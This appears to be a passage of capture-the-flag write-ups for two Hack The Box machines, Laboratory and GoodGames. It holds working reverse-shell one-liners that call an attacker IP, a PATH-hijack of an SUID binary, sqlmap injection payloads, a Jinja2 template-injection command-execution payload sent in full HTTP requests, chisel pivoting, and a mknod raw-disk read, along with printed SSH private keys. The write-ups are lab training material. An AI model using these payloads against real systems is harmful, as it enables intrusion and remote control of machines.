LOCTp45CWs7aLIwkxBPN4SIwfcGfuXAAAAwQDECykadz2tSfU0Vt7ge49Xv3vUYXTTMT7p
7a8ryuqlafYIr72iV/ir4zS4VFjLw5A6Ul/xYrCud0OIGt0El5HmlKPW/kf1KeePfsHQHS
JP4CYgVRuNmqhmkPJXp68UV3djhA2M7T5j31xfQE9nEbEYsyRELOOzTwnrTy/F74dpk/pq
XCVyJn9QMEbE4fdpKGVF+MS/CkfE+JaNH9KOLvMrlw0bx3At681vxUS/VeISQyoQGLw/fu
uJvh4tAHnotmkAAAAPcm9vdEBsYWJvcmF0b3J5AQIDBA==
-----END OPENSSH PRIVATE KEY-----
┌─[puck@parrot-lt]─[~/htb/laboratory]
chmod 600 id_rsa

Use the key to SSH into Dexter’s account.

ssh -i id_rsa dexter@10.10.10.216

We’re in!

Grab the user.txt flag.

Privilege Escalation

List all the files on the system that have the SUID bit set.

find / -perm /4000 2>/dev/null

The following entry sticks out. It seems to be a custom made binary.

/usr/local/bin/docker-security

Looking at the permissions, we see that the file is owned by root but as the dexter user we’re able to read and execute the file. Since the SUID bit is set on this file, we’re able to run the file with effective permissions of the file owner, which is root.

dexter@laboratory:/usr/local/bin$ ls -la docker-security 
-rwsr-xr-x 1 root dexter 16720 Aug 28 14:52 docker-security

Let’s run the file to see what it is doing.

dexter@laboratory:/usr/local/bin$ docker-security

We get nothing. Next, let’s run the ltrace program on the file to see what system commands are getting called.

ltrace docker-security

We see that it’s running the chmod command, however, it doesn’t specify the full path. Therefore, we can use that to our advantage and have it run a malicious chmod program that we control.

In the tmp folder (which we have write access to), create a chmod file and add a python reverse shell to it (taken from pentestermonkey).

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.45",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Give it execute rights.

chmod +x chmod

Set the path directory to include the tmp directory.

PATH=/tmp:$PATH

This way when we run the docker-security program, it’ll look for the chmod program in the tmp directory first and execute our reverse shell.

Setup a netcat listener to receive the reverse shell.

nc -nlvp 7777

Run the docker-security program.

/usr/local/bin/docker-security

We get a shell!

Grab the root.txt flag.

Lessons Learned

To gain an initial foothold on the box, we exploited two vulnerabilities:

  1. Known RCE vulnerability in Gitlab software. The version of Gitlab used is vulnerable to a known code execution vulnerability. Exploiting this vulnerability allowed us to gain access to the server that Gitlab is installed on. The Gitlab software should have been updated to the latest non-vulnerable version.
  2. SSH credentials committed to Gitlab. Once we gained access to the server, we were able to reset Dexter’s Gitlab credentials. We then used these credentials to log into Dexter’s Gitlab account. There we found another project that contained Dexter’s SSH key. We then used this key to gain access to Dexter’s system account. It is a security best practice to never store credentials in Gitlab. More security should be in place in order to educate developers on security best practices.

To escalate privileges on the box, we exploited one vulnerability:

  1. Use of relative path to call a program in an SUID binary. We found that the docker-security binary had the SUID bit set. Looking at the commands that the binary performs, we found that it calls the chmod program without specifying the full path. Therefore, by adding a new path to the PATH environment variable that contains our malicious chmod program, we were able to trick the docker-security binary to execute the malicious chmod program instead of the real one. Since the binary has the SUID bit set and is owned by root, we were able to escalate our privileges to root.
┌─[puck@parrot-lt]─[~/htb/laboratory]
└──╼ $cat id_rsa_root 
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
┌─[puck@parrot-lt]─[~/htb/laboratory]
┌─[puck@parrot-lt]─[~/htb/laboratory]
└──╼ $ssh -i id_rsa_root root@10.10.10.216
root@laboratory:~# hostnamectl
Static hostname: laboratory
Icon name: computer-vm
Chassis: vm
Machine ID: 3310e4f70e634eed9586f134839b318d
Boot ID: 97af0216bffd4aaa997446416f50af97
Virtualization: vmware
Operating System: Ubuntu 20.04.1 LTS
Kernel: Linux 5.4.0-42-generic
Architecture: x86-64
root@laboratory:~#
.

htb-goodgames

HTB-GoodGames

  • There is an SQL Injection in the /login endpoint
  • After retrieving the database content, cracking the admin hash and logging in as the admin, a new subdomain is revealed
  • The subdomain has a Server Side Template Injection, so you can get a shell
  • You now have the user flag
  • The home folder is mounted in the Docker, so you can write the authorized_keys file and connect as the user to the host through the Docker network
  • You can use a mknod privilege escalation to be able to read the raw /dev/sda and grep for the flag
  • You now have the root flag

 nmap

As always, we start with nmap to scan the box:

➜ nmap -sC -sV goodgames.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-19 13:11 GMT
Nmap scan report for goodgames.htb (10.129.226.183)
Host is up (0.048s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.48
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.52 seconds

Port 80 is open. Taking a look at it, shows a basic gaming website with some articles and images. Let’s enumerate some things.

gobuster

✗  gobuster dir --exclude-length 9265 -k -u http://goodgames.htb/ -s 200,204,301,302,307 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://goodgames.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] Exclude Length:          9265
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/11/19 13:13:31 Starting gobuster in directory enumeration mode
===============================================================
/blog                 (Status: 200) [Size: 44212]
/forgot-password      (Status: 200) [Size: 32744]
/login                (Status: 200) [Size: 9294] 
/logout               (Status: 302) [Size: 208] [--> http://goodgames.htb/]
/profile              (Status: 200) [Size: 9267]                           
/server-status        (Status: 403) [Size: 278]                            
/signup               (Status: 200) [Size: 33387] 

The gobuster1 shows that there are some API endpoints, but none of them were actually hidden so it didn’t reveal any new information.

SQL injection

After looking around at some endpoints and see if there was some actual important information being sent, I decided to start running sqlmap because I was out of ideas. An easy way of doing this is by copy-pasting the HTTP request from Burp into request.txt and run sqlmap -r request.txt. I first started testing the signup and and forgot password endpoint because I was already logged in, but after failing I remembered the following popup:

Login box

This one is also an endpoint, the /login endpoint. SQLMap found the following:

[13:35:56] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[13:36:07] [INFO] POST parameter 'email' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 

Unfortunately, SQLMap only found a time-based blind SQL injection the first time. Running it a second time (when I already had user), it revealed that there was also just a boolean-based injection possible which is much faster to exploit. This has probably cost me a first-blood since I waited for like 30 minutes to complete the whole dumping of the user table:

➜ sqlmap -r request.txt -D main --tables
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.5.9#stable}
|_ -| . [.]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:41:17 /2021-11-19/

[13:41:17] [INFO] parsing HTTP request from 'request.txt'
[13:41:18] [INFO] resuming back-end DBMS 'mysql' 
[13:41:18] [INFO] testing connection to the target URL
got a refresh intent (redirect like response common to login pages) to '/profile'. Do you want to apply it from now on? [Y/n] n
you have not declared cookie(s), while server wants to set its own ('session=eyJfZnJlc2g...35WJubrPaM'). Do you want to use those [Y/n] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=asdf@asdf.com' AND (SELECT 5175 FROM (SELECT(SLEEP(5)))OVKm) AND 'UVZY'='UVZY&password=asdf
---
[13:41:19] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[13:41:19] [INFO] fetching tables for database: 'main'
[13:41:19] [INFO] fetching number of tables for database 'main'
[13:41:19] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)                                                                                   
[13:41:23] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] 
[13:41:40] [INFO] adjusting time delay to 2 seconds due to good response times
3
[13:41:40] [INFO] retrieved: blog
[13:42:11] [INFO] retrieved: blog_comments
[13:43:29] [INFO] retrieved: user
Database: main
[3 tables]
+---------------+
| user          |
| blog          |
| blog_comments |
+---------------+

Dumping the content of the user table (this part took about 30 minutes):

Database: main
Table: user
[1 entry]
+----+-------+---------------------+----------------------------------+
| id | name  | email               | password                         |
+----+-------+---------------------+----------------------------------+
| 1  | admin | admin@goodgames.htb | 2b22337f218b2d82dfc3b6f77e7cb8ec |
+----+-------+---------------------+----------------------------------+

hashid revealed that it is probably just a MD5 hash, so cracking it with rockyou.txt resulted in the following:

➜ hashcat --show -m 0 hash.txt /usr/share/wordlists/rockyou.txt
2b22337f218b2d82dfc3b6f77e7cb8ec:superadministrator

Now we can authenticate with admin@goodgames.htb and password superadministrator. The taskbar now had a new icon:

Login box

This revealed a new subdomain http://internal-administration.goodgames.htb/ with the following page (add the internal-administration.goodgames.htb to your /etc/hosts file in your VM):

Here the credentials admin:superadministrator worked.

SSTI

There is not a lot to interact with on this webpage and we know from the nmap scan that this page is hosted using Werkzeug, so it has a high chance of being a Flask website. And therefore it also has a high chance of having a SSTI vulnerability. It is possible to change your username in the settings page. So I decided to set my username to {{7*'7'}} to see if it has an SSTI:

Since the username is now 7777777 instead of {{7*'7'}}, we now have code execution. So we can change our username to something more useful:2

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

In Burp we modify the following request

POST /settings HTTP/1.1
Host: internal-administration.goodgames.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://internal-administration.goodgames.htb
DNT: 1
Connection: close
Referer: http://internal-administration.goodgames.htb/settings
Cookie: session=.eJwtjj2uAjEQg--SmiKTmU0yXGY1vwIhgbQLFeLuL8UrXNiyre9b9jzivJXr-_jEpex3L9cCGAzuPXWrFr05ANQZIyCFpDN7pixVMs9pLJxhNITIxdG7gdcqWrOrs3Hk5qyESjLYrFOtuIHOAGENAFJrrDbXFaVxH2WBfM44_mmWtfPI_f16xHMFiIHScDXDk9Zq2JSQwGiyALSNBq1tVn5_dbxCzg.YZtiUA.V3w_G7Kzenv9ahJqUfqJqWskcD8
Upgrade-Insecure-Requests: 1

name=%7B%7B7*%277%27%7D%7D

to the more useful payload (including the Python 3 #2 reverse shell from revshells.com as the input GET parameter)

POST /settings?input=python3+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.12",4444))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bimport+pty%3b+pty.spawn("sh")' HTTP/1.1
Host: internal-administration.goodgames.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 206
Origin: http://internal-administration.goodgames.htb
DNT: 1
Connection: close
Referer: http://internal-administration.goodgames.htb/settings
Cookie: session=.eJwtzjtuAzEMBNC7qE5BWhQl-jILfpEgQALs2lWQu1sBUrAYFjPvpx115vXe7o_zmW_t-Ih2b9hTMILLBnjyLRARVs7EUlIWiSrdB-RRy0Wl0mkqUWj0YMcAUINiC3HJGiFG3UinuDMB9IG2ElUsEcn8JuZrV1G58Gwb8rzy_Nfs6NdZx-P7M7_2YyPYZIHsTVkTdUh2mKw0AKf_cWEMofb7AlDqQNQ.YZewxw.eLQVvbBAIydhUNNwfeRe_JXuVIc
Upgrade-Insecure-Requests: 1

name={%25+for+x+in+().__class__.__base__.__subclasses__()+%25}{%25+if+"warning"+in+x.__name__+%25}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%25endif%25}{%25endfor%25}

Also opening a nc listener gives me the shell and also the flag:

➜ nc -lnvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.228.108.
Ncat: Connection from 10.129.228.108:37388.
# ls -al
ls -al
total 28
drwxr-xr-x 1 root root 4096 Nov  5 15:23 .
drwxr-xr-x 1 root root 4096 Nov  5 15:23 ..
-rw-r--r-- 1 root root  122 Nov  3 10:07 Dockerfile
drwxr-xr-x 1 root root 4096 Nov  3 17:37 project
-rw-r--r-- 1 root root  208 Nov  3 10:07 requirements.txt
# cd /home/augustus
cd /home/augustus
# ls -al
ls -al
total 24
drwxr-xr-x 2 1000 1000 4096 Nov  3 10:16 .
drwxr-xr-x 1 root root 4096 Nov  5 15:23 ..
lrwxrwxrwx 1 root root    9 Nov  3 10:16 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000  220 Oct 19 11:16 .bash_logout
-rw-r--r-- 1 1000 1000 3526 Oct 19 11:16 .bashrc
-rw-r--r-- 1 1000 1000  807 Oct 19 11:16 .profile
-rw-r----- 1 root 1000   32 Nov  3 10:13 user.txt
# cat user.txt
cat user.txt
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}

root

Running linpeas revealed the following interesting information:

╔══════════╣ Container & breakout enumeration
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout
═╣ Container ID ................... 3a453ab39d3d═╣ Container Full ID .............. 3a453ab39d3df444e9b33e4c1d9f2071827b3b7b20a8d3357b7754a84b06685f
═╣ Vulnerable to CVE-2019-5021 .. No

╔══════════╣ Interesting Files Mounted
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/BMOEKLXDA4EFIXZ4O4AP7LYEVQ:/var/lib/docker/overlay2/l/E365MWZN2IXKTIAKIBBWWUOADT:/var/lib/docker/overlay2/l/ZN44ERHF3TPZW7GPHTZDOBQAD5:/var/lib/docker/overlay2/l/BMI22QFRJIUAWSWNAECLQ35DQS:/var/lib/docker/overlay2/l/6KXJS2GP5OWZY2WMA64DMEN37D:/var/lib/docker/overlay2/l/FE6JM56VMBUSHKLHKZN4M7BBF7:/var/lib/docker/overlay2/l/MSWSF5XCNMHEUPP5YFFRZSUOOO:/var/lib/docker/overlay2/l/3VLCE4GRHDQSBFCRABM7ZL2II6:/var/lib/docker/overlay2/l/G4RUINBGG77H7HZT5VA3U3QNM3:/var/lib/docker/overlay2/l/3UIIMRKYCPEGS4LCPXEJLYRETY:/var/lib/docker/overlay2/l/U54SKFNVA3CXQLYRADDSJ7NRPN:/var/lib/docker/overlay2/l/UIMFGMQODUTR2562B2YJIOUNHL:/var/lib/docker/overlay2/l/HEPVGMWCYIV7JX7KCI6WZ4QYV5,upperdir=/var/lib/docker/overlay2/4bc2f5ca1b7adeaec264b5690fbc99dfe8c555f7bc8c9ac661cef6a99e859623/diff,workdir=/var/lib/docker/overlay2/4bc2f5ca1b7adeaec264b5690fbc99dfe8c555f7bc8c9ac661cef6a99e859623/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)
cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma)
cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)
cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
proc on /proc/bus type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/fs type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/irq type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sys type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sysrq-trigger type proc (ro,nosuid,nodev,noexec,relatime)
tmpfs on /proc/acpi type tmpfs (ro,relatime)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/sched_debug type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /sys/firmware type tmpfs (ro,relatime)
╔══════════╣ Unexpected in root
/backend
/.dockerenv

From this it is clear that we are in a Docker container where some directories from the host are mounted into the Docker container, especially /home/augustus. From playing some HTB Battlegrounds, I knew that it is an easy win to write the authorized_keys file to a home directory to SSH as that user. This could also be the case with this box, but the initial nmap revealed that no SSH port was open. However, we are now inside the Docker container so we have access to the Docker network. /etc/hosts revealed the following:

# cat /etc/hosts
cat /etc/hosts
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.19.0.2      3a453ab39d3d

So this container has the 172.19.0.2 IP in the Docker container. Therefore we may assume that the host is at 172.19.0.1 and we can try to connect to that. Because the reverse shell is pretty limited, I decided to use chisel to easily connect from my VM to the network in the Docker.

Connecting chisel

Locally (in my VM) I run the following command:

➜ chisel server -p 9999 --reverse
2021/11/22 09:40:34 server: Reverse tunnelling enabled
2021/11/22 09:40:34 server: Fingerprint jovfYSXPi4CSxJz77hafCfJDQQjnJru9QCIYAqjBCkA=
2021/11/22 09:40:34 server: Listening on http://0.0.0.0:9999

In the Docker container I wget the chisel binary and run it like this (10.10.14.12 is the local IP):

# ./chisel client 10.10.14.12:9999 R:socks
./chisel client 10.10.14.12:9999 R:socks
2021/11/22 09:41:59 client: Connecting to ws://10.10.14.12:9999
2021/11/22 09:41:59 client: Connected (Latency 44.860751ms)

And I create the following file in my VM:

➜ cat proxychains.conf 
[ProxyList]
socks5 127.0.0.1 1080

Now I am able to use proxychains4 to run any command within the network of the Docker container. A quick nmap scan revealed that port 22 was open, so we can SSH into it:

✗  proxychains4 -f proxychains.conf ssh -i id_rsa augustus@172.19.0.1
[proxychains] config file found: proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Dynamic chain  ...  127.0.0.1:1080  ...  172.19.0.1:22  ...  OK
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
augustus@GoodGames:~$ ls -al
total 28
drwxr-xr-x 3 augustus augustus 4096 Nov 22 09:31 .
drwxr-xr-x 3 root     root     4096 Oct 19 12:16 ..
lrwxrwxrwx 1 root     root        9 Nov  3 10:16 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus  220 Oct 19 12:16 .bash_logout
-rw-r--r-- 1 augustus augustus 3526 Oct 19 12:16 .bashrc
-rw-r--r-- 1 augustus augustus  807 Oct 19 12:16 .profile
drwxr-xr-x 2 root     root     4096 Nov 22 09:31 .ssh
-rw-r----- 1 root     augustus   32 Nov  3 10:13 user.txt
augustus@GoodGames:~$ cat user.txt
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}

Now we are again in the home folder of augustus, but now on the host.

Unintended3 path for privilege escalation

Now we have to make a decision: we can try to solve it the easy way, or we can try to solve it the difficult way. Naturally I decided to go for the difficult way.4

We have the following situation:

  • Root in the Docker
  • User in the host

I searched online for a privilege escalation method for this and I found the following article.

It described a way of being able to read /dev/sda using the mknod command. I decided to exactly reproduce the following image of the blog:5

  1. Get another reverse shell in docker as root (send the Burp request again with a different port)
  2. Run mknod sda b 8 0, chmod 777 sda, add augustus and su to augustus to open a /bin/sh session in the Docker:
# cd /
cd /
# mknod sda b 8 0
mknod sda b 8 0
# chmod 777 sda
chmod 777 sda

# echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
# su augustus
su augustus
su: Authentication failure
(Ignored)
augustus@3a453ab39d3d:/backend$ /bin/sh
/bin/sh
$ 
  1. On the host check the process ID of the /bin/sh shell in the Docker:
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
root      1496  0.0  0.0   4292   744 ?        S    09:30   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root      1627  0.0  0.0   4292   756 ?        S    09:44   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus  1659  0.0  0.0   4292   712 ?        S+   09:48   0:00                          \_ /bin/sh
augustus  1661  0.0  0.0   6116   648 pts/0    S+   09:48   0:00              \_ grep /bin/sh
  1. The process ID is 1659 in this case
  2. Grep for the sda for HTB{ through the process:
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda 
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
HTB{M0un73d_F1l3_Sy57eM5_4r3_DaNg3R0uS}
grep: memory exhausted
augustus@GoodGames:~$ 

And this gives both flags after a short amount of time.

All credits to: https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/

.